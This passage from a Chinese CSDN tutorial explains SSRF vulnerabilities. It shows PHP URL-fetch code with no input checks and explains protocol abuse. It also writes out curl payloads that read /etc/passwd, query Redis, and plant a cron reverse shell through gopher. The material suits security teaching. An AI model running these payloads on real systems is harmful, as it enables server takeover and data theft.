CSDNSSRF 漏洞危害大,应避免被利用攻击内网应用!| 原力计划( 二 )

echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } }?>fsockopen函数实现对用户指定url数据的获取 , 该函数使用socket(端口)跟服务器建立tcp连接 , 传输数据 。 变量host为主机名 , port为端口 , errstr表示错误信息将以字符串的信息返回 , 30为时限 。
(3)curl_exec
if (isset($_POST['url'])){$link = $_POST['url'];$curlobj = curl_init;// 创建新的 cURL 资源curl_setopt($curlobj, CURLOPT_POST, 0);curl_setopt($curlobj,CURLOPT_URL,$link);curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器curl_close($curlobj);// 关闭 cURL 资源 , 并且释放系统资源$filename = './curled/'.rand.'.txt';file_put_contents($filename, $result); echo $result;}?>curl_exec函数用于执行指定的cURL会话 。
注意
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug , 导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec //默认不跟踪跳转 ,
6.file_get_contents // file_get_contents支持php://input协议
2.协议
(1)file:在有回显的情况下 , 利用 file 协议可以读取任意内容
(2)dict:泄露安装软件版本信息 , 查看端口 , 操作内网redis服务等
(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包 , 再构造成符合gopher协议的请求 。 gopher协议是ssrf利用中一个最强大的协议(俗称万能协议) 。 可用于反弹shell
(4)http/s:探测内网主机存活
CSDNSSRF 漏洞危害大,应避免被利用攻击内网应用!| 原力计划
本文插图
SSRF漏洞利用
本地利用
以curl举例 , 查看 curl 支持的协议列表 curl -V 。 本地利用方式:
(1)使用file协议 file protocol (任意文件读取)
curl -vvv 'file:///etc/passwd' (2)使用dict协议 dict protocol (获取Redis配置信息)
curl -vvv 'dict://127.0.0.1:6379/info' (3)使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'


推荐阅读